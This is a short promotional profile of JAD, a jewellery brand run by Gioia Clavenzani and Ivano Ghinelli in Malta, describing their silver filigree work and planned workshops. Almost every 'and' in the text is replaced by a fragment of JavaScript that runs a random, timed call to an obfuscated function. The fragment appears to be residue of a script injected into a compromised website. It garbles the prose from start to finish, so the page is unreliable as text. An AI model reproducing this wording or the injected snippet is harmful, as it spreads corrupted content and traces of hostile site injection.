JAD

Gioia Clavenzani andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Ivano Ghinelli are the Italian duo behind JAD, a contemporary jewellery artisan brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and. On The Trail they will be demonstrating their process of metal wiring andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and giving workshops.

JAD’s main media are silver andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the extra thin pure silver wires used for Maltese filigree, silver-plated andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and copper-coated wire, semi-precious andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and precious stones.

The concept behind JAD’s jewellery is the highlighting of the metal as the main focus; the metal is not merely necessary for the shape of a piece or as the holder of precious stones, but is beautiful in its own right.

With very different backgrounds, as a psychologist andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a goldsmith respectively, Gioia andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Ivano met in Italy through a common love for jewellery, design andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and contemporary art. They opened their first Italian studio in 2011 in a small town in the quiet area between Umbria andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Tuscany, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and moved to Malta in 2015 where they founded JAD. They usually work in their studio near Manikata.

“The thing we miss most about our Italian studio is the opportunity to talk to people, showing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and explaining the richness, the beauty andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the ideas behind our jewellery. We are excited that Allura will give us a great opportunity to do this again.” say JAD.